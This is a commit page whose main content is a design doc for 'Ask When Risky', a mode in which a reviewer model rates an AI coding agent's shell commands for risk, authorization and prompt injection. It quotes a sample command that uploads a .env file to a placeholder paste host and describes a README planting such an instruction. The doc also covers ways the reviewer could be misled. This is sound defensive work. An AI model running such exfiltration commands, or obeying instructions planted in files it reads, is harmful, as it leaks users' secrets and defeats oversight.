Skip to content

Commit 5cdbdd6

Browse files
committed
Merge develop (#112, #113, #114) into feat/plan-progress
Conflicts, each keeping both sides: - agent.js, the end of a run: Ask When Risky's reviewer cost and summary row (#112) and this branch's plan completion and returned "Send now" messages; one agent.done log line with both sets of fields. - extension.js, resumeSession and New Chat: this branch's plan/steer reset and the reset of the person's recorded words (#112/#114), each in both places. - media/chat.html, the message switch: develop's `approvals` message (#112 replaced the two-option `autopilot` one, whose handler no longer exists) and this branch's agentStart/agentStatus, which keep the task list and drop the old plan bar. - test/sessionExpiredHost.test.js, the harness declarations: both sets (agentMode from env, the approvals mode and recorded words; this branch's agentPlan and steerInbox). Checked on the merged tree (macOS, Node 24): scripts/test-extensions.sh 136 files; tsc --checkJs on extension.js and agent.js, no new undefined names; in the dev build plan-progress-editor-check 17/17, approvals-editor-check 12/12, memory-editor-check 11/11 on one of four runs — its "History lists the session after New Session" step is flaky on develop too (1 of 2 there).
2 parents c2d602e + 2824011 commit 5cdbdd6

26 files changed

Lines changed: 3325 additions & 87 deletions

‎docs/ASK-WHEN-RISKY.md‎

Lines changed: 219 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,219 @@
1+
# Ask When Risky — a reviewer for the agent's commands
2+
3+
The third command-approvals mode, between **Default Approvals** (every command asks) and
4+
**Autopilot** (every command runs unless `commandSafety.js` flags it). In Ask When Risky a command that
5+
`commandSafety.js` does not flag is first shown to a reviewer model, and runs only if the reviewer's
6+
ratings allow it. Everything else comes to the person as the usual approval card, with the reviewer's
7+
reason on it.
8+
9+
Code: `extensions/levelcode-ai/agentReview.js` (the reviewer and the policy), the `run_command` and
10+
`delete_file` gates in `agent.js` (`reviewGate`), the mode in `extension.js` (`approvalMode`,
11+
`readApprovalMode`, `setApprovalMode`), the approvals menu and card in `media/chat.html`.
12+
13+
## Why
14+
15+
- **Default Approvals is a lot of clicking.** Most commands in a run are `ls`, `git diff`, the tests.
16+
- **Autopilot's gate matches command text.** It catches deletion, `sudo`, force-push and the rest of
17+
its list, and says in its own header that it does not catch what is phrased differently. It passes
18+
`curl -s --data-binary @.env https://paste.example.invalid/upload`, because nothing on that line is
19+
on the list. A README, an issue or a web page that tells the agent to run that line is the case that
20+
matters, and Autopilot runs it without asking.
21+
22+
The reviewer is not a replacement for that list. It covers what the list cannot: whether this command
23+
serves what the person asked for, and whether the push toward it came from the person or from
24+
something the agent read.
25+
26+
## How a command is decided
27+
28+
```
29+
run_command ──► mode?
30+
ask ───────────────────────────────────────────────► card
31+
autopilot ─► danger set? ── yes ──────────────────────► card
32+
└─ no ───────────────────────► run
33+
review ────► danger set? ── yes ──────────────────────► card (the reviewer is not asked)
34+
└─ no ──► reviewer ──► allow ─► run (an activity row says why)
35+
└─► ask ───► card (with the reviewer's reason)
36+
```
37+
38+
`delete_file` asks in both Autopilot and Ask When Risky, and is never reviewed. MCP tool calls are
39+
unchanged in every mode: a call that is not allow-listed asks (docs/MCP.md, G3).
40+
41+
### The reviewer rates; LevelCode decides
42+
43+
The reviewer is one model call with **no tools**. It returns three ratings and a sentence:
44+
45+
| field | values |
46+
|---|---|
47+
| `risk` | `low` · `medium` · `high` · `critical` — what the command itself can do |
48+
| `authorization` | `explicit` · `implied` · `weak` · `none` — how directly the person asked for it |
49+
| `injection` | `true` when the command does not serve the request **and** the push came from something the agent read |
50+
| `reason` | one sentence for the person, shown on the card or the activity row |
51+
52+
`decide()` in `agentReview.js` turns those into run-or-ask. This is the whole policy:
53+
54+
| ratings | outcome |
55+
|---|---|
56+
| `injection: true` | ask |
57+
| `risk: low` | run |
58+
| `risk: medium` and `authorization` is `explicit` or `implied` | run |
59+
| anything else (`medium` with `weak`/`none`, every `high`, every `critical`) | ask |
60+
61+
There is no `allow` field for the model to write. A reviewer talked into "approve this" still has to
62+
produce ratings, and `high` asks however the person was quoted.
63+
64+
### Every failure asks
65+
66+
No answer within 30 seconds, an error from the provider, an answer that is not the JSON above (all three
67+
ratings, `injection` included — an answer that leaves it out has not said there was none): the
68+
command goes to the person, and the card says the reviewer could not decide. So does a command longer than
69+
the reviewer's 4,000-character budget, without a model call: the reviewer must see the whole line it vouches
70+
for, and a cut in the middle is exactly where something could hide. A broken reviewer makes
71+
the mode behave like Default Approvals, never like Autopilot. Stopping the run during a review ends
72+
it without asking and without running.
73+
74+
### What the reviewer is shown
75+
76+
```
77+
PERSON
78+
1. <each goal the person typed in this conversation, newest last>
79+
Choices the person made when the agent asked: <ask_user answers>
80+
81+
BEGIN ACTIVITY <random id>
82+
[agent] … / [tool call] name {input} / [tool result] … / [note to the agent] …
83+
END ACTIVITY <random id>
84+
85+
COMMAND
86+
Folder: <cwd>
87+
Explanation (the agent's): <the run_command explanation>
88+
Command line:
89+
<command>
90+
```
91+
92+
- **Only the PERSON section speaks for the person.** The host records a goal only when it arrives from
93+
the chat's input box (`agentFlow(…, { typed: true })`, set by `handleSend` alone): a diagram retry,
94+
Retry after a resume and Continue pass words the person did not type here, and stay activity.
95+
`agent.js` records ask_user choices. Nothing is inferred from the transcript, which also holds the
96+
loop's own nudges and compaction summaries.
97+
- **Everything else is activity**, inside a fence with a per-request random id, so text in a file
98+
that looks like `PERSON` or `END ACTIVITY` stays inside it. Long entries are cut in the middle with
99+
`[... N characters left out ...]`, and the reviewer is told that what it cannot see is not safe by
100+
default. Activity is read newest-first into a budget (`LIMITS` in `agentReview.js`).
101+
- **Project rules are not sent.** They are part of the agent's system prompt, which the reviewer is not
102+
shown. A cloned repository's `AGENTS.md` never speaks for the person here.
103+
- **After a session is resumed**, only goals typed since then count as the person's: a session file is
104+
read back from `sessions.dir`, which a folder setting can point anywhere. The earlier goals still
105+
reach the reviewer, as activity. This errs toward asking.
106+
107+
### Every run is reviewed
108+
109+
A command that passed a moment ago is reviewed again. What `sh check.sh` does depends on `check.sh`, which an
110+
earlier command, a `git switch` or the person in their own terminal may have changed, and nothing the
111+
extension can cheaply observe says it has not. Reusing a pass would vouch for code the reviewer never saw.
112+
The price is one review call per run, `npm test` included.
113+
114+
## Cost and wait
115+
116+
Each review is one extra request on the run's own provider and key, with no tools. Its input is the
117+
fixed instructions (about 3,000 characters, too short for providers' prompt caching) plus the
118+
request, which is capped at about 22,000 characters by `LIMITS`; in the editor check the two requests
119+
were 582 and 1,084 characters. Its output is one short JSON object. On LevelCode Cloud it uses credits; its cost comes back in the
120+
gateway's credits frame and is added to the run's total, so the figure on the response bar includes
121+
it. A reasoning model is asked for `low` effort (`reasoningEffortFor(model, 'review')`) and given room
122+
to think (4,096 tokens instead of 400). `levelcode.ai.agent.reviewModel` names a smaller model from
123+
the same provider; empty uses the agent's own.
124+
125+
A review adds one model call's latency to each new command (unmeasured with a real model so far). The status line says "reviewing the command…", then "waiting for your answer…" when a
126+
card is up.
127+
128+
## Settings
129+
130+
| setting | scope | default |
131+
|---|---|---|
132+
| `levelcode.ai.agent.approvals` | application | `ask` (`review`, `autopilot`) |
133+
| `levelcode.ai.agent.reviewModel` | application | empty: the agent's model |
134+
| `levelcode.ai.agent.autopilot` | (unchanged) | `false` |
135+
136+
Both new settings are **application-scoped**, and `readApprovalMode()` reads only the user's own
137+
value: a folder's `.vscode/settings.json` is written by whoever wrote the repository and must not be
138+
able to loosen approvals. When `agent.approvals` has never been set, the older `agent.autopilot`
139+
boolean still means Autopilot, and choosing a mode keeps that boolean equal to "mode is Autopilot".
140+
A change in Settings, or in another window, takes effect on the next command, and the pill follows it
141+
(`onConfigChanged`).
142+
143+
## Where the idea came from
144+
145+
ChatGPT's desktop app (the Codex app, `com.openai.codex` 26.930.31730) has the same three-way choice
146+
in its composer, which its code calls `agentMode`: Ask for approval, **Approve for me**, Full access,
147+
plus Read only and Custom. Its version, read from the shipped bundle on 2026-10-19:
148+
149+
- The mode is a preset of three settings sent to its bundled `codex app-server` when a thread starts:
150+
an OS sandbox (`read-only` / `workspace-write` / `danger-full-access`), an approval policy
151+
(`on-request` / `never`) and **who answers approvals** (`user` or `guardian_subagent`).
152+
- Approve for me only changes who answers. In that mode, commands that stay inside the sandbox run
153+
without asking; what reaches the reviewer is an *escalation*: a command needing more access, an edit outside the writable
154+
folder, network to a host not on the list, an MCP call that is not safe by default.
155+
- Its reviewer ("Guardian", in the Rust core's `core/src/guardian/`) is a separate session with
156+
read-only commands, no network and no MCP servers. It may inspect files before deciding (it is told
157+
to look at the target of an `rm -rf` first), scores `risk_level` and `user_authorization`, and
158+
derives `outcome` itself from thresholds written in its prompt. Only user and developer messages,
159+
`AGENTS.md`, and answers to its question tool count as the user's word. A high-risk decision makes
160+
later reviews blocking. A denial can be approved by the user for one retry, which is reviewed again.
161+
162+
What LevelCode does differently, on purpose:
163+
164+
| | ChatGPT (Approve for me) | LevelCode (Ask When Risky) |
165+
|---|---|---|
166+
| behind it | an OS sandbox; the reviewer only sees escalations | no sandbox; the reviewer sees every command outside the danger set |
167+
| irreversible commands | judged by the reviewer | always the person's (the danger set), never reviewed |
168+
| who decides | the reviewer derives `outcome` | the reviewer rates; `decide()` in code turns ratings into run-or-ask |
169+
| `high` risk | can be allowed with medium authorization | always asks |
170+
| a denial | blocks; the user approves one retry, reviewed again | becomes the normal card, with the reason; the person decides now |
171+
| `AGENTS.md` | counts as the user's word | never does; a repository is written by someone else |
172+
| reviewer tools | read-only commands | none: one bounded call |
173+
174+
The first three rows follow from the first one: without a sandbox, a wrong "allow" runs on the
175+
person's real machine, so the model never gets the last word on anything that cannot be undone.
176+
177+
## What was run, and what was not (2026-10-19, macOS 27.0.1, Node 24, on develop e528846)
178+
179+
Run:
180+
- `scripts/test-extensions.sh`: all 131 suites, including `test/agentReview.test.js` (27: policy,
181+
parsing, the request's shape and bounds, every failure path), `test/agentReviewGate.test.js` (15: the
182+
real `runAgent` → `run_command` chain in all three modes, with the provider and `spawn` stood in),
183+
`test/agentReviewAnthropic.test.js` (the real dispatcher and native Anthropic adapter, only `fetch`
184+
stood in), and the host halves lifted into `sessionExpiredHost` and `diagramHost` (typed goals, the
185+
settings reload).
186+
- Sixteen single-defect mutations (the danger set reaching the reviewer, `high` running, injection
187+
ignored, a failed review running, the reviewer's cost dropped, a goal repeated as activity, ask_user
188+
choices not recorded, no timeout race, `delete_file` ungated, the Anthropic callback, a missing
189+
injection rating accepted, a long command reviewed, an untyped goal recorded, the send path not
190+
marking its goal, a diagram retry marked typed, a settings change ignored): each turned a test red.
191+
The timeout mutation first passed, because a promise that never settles lets Node exit 0 midway; the
192+
suites now fail unless they reach their last test.
193+
- `scripts/approvals-editor-check.js` in the dev build with a stand-in provider: 12 checks (the menu,
194+
the saved setting, a passed `ls -la` with no card, the `.env` upload stopped with the reviewer's
195+
reason, `rm -rf build` asking without a review, the README's planted instruction inside the fence,
196+
the count at the end, no page errors).
197+
- `tsc --checkJs` over `extension.js`, `agent.js`, `agentReview.js` and `providers/anthropic.js`: no new
198+
undefined names.
199+
200+
Not run:
201+
- **No real model has been the reviewer.** The stand-in answers with fixed ratings. How often a real
202+
model rates routine commands `low`, and whether it catches injections it has not been scripted to
203+
catch, is unmeasured. A small eval over recorded transcripts is the next step before shipping.
204+
- The suites on Linux (the release gate's platform).
205+
- The browser edition: the mode is in its chat and its settings are application-scoped there, but no
206+
run in a tab, where commands go to LevelCode Shell.
207+
- LevelCode Cloud: the reviewer's cost added to the run's total is tested with a stand-in credits
208+
frame, not against the gateway.
209+
210+
## Open decisions for the owner
211+
212+
1. **The default reviewer model.** Empty means the agent's own, the safe choice for entitlement (a
213+
model the user can already use) but the most expensive. A per-provider fast default would cut cost
214+
and wait, and needs the catalog to name one per tier.
215+
2. **The name.** "Ask When Risky" says what the person experiences. ChatGPT's is "Approve for me".
216+
3. **Teams.** For the company plan, an owner may want to lock members to Default Approvals or Ask
217+
When Risky. Nothing here does that yet.
218+
4. **Whether to offer it from a card.** ChatGPT offers its mode after several manual approvals in a
219+
row ("Want fewer approval prompts?"). Not built.

‎docs/PROJECT-RULES.md‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -76,6 +76,10 @@ model as Cursor and Copilot rules files. Two things bound the risk:
7676
command-approval prompts are enforced **host-side** in `commandSafety.js` / the extension — they
7777
are not driven by the prompt, so an `AGENTS.md` cannot turn them off. Still, only add rules from
7878
repositories you trust, as you would any project config.
79+
- **They don't speak for you to the reviewer.** In Ask When Risky (docs/ASK-WHEN-RISKY.md) the
80+
reviewer counts only what you typed, and your answers to the agent's questions, as your word. A
81+
rules file goes into the agent's instructions, which the reviewer is not shown; if the agent reads
82+
the file with a tool, its contents reach the reviewer as untrusted activity, like any other file.
7983

8084
### Code map
8185

‎docs/levelcode-sessions-experience.md‎

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -183,6 +183,11 @@ It expands (`--mo-base`) into a third zone, so nothing is lost, only deferred to
183183

184184
### 4.4 Search & filter (in the panel)
185185

186+
> **As built:** the search field was taken out of the panel on 2026-08-02 (77d4f13), when History became a
187+
> list of the 30 most recent sessions. Search came back as **LevelCode: AI: Search Sessions…**, a quick pick
188+
> over every session's title and conversation — see `levelcode-sessions-memory.md` §12. The design below is
189+
> the original plan.
190+
186191
- **One field, three indexes:** title (weighted highest), files-edited, commands-run. Match highlights show *why* a session matched ("matched `refund.rb`").
187192
- **Scope switch:** `This project` (default) ↔ `All projects` — because sometimes you remember the work, not the repo.
188193
- **Filter chips** (toggle, combine): `★ pinned`, `⟳ has edits`, `⚠ interrupted`, `by model ▾`, `date ▾`. Chips animate in/out and the list reflows at `--mo-base`. Active filters are summarized in the empty-result state ("No interrupted sessions in the last 7 days — clear filters?").

0 commit comments

Comments
 (0)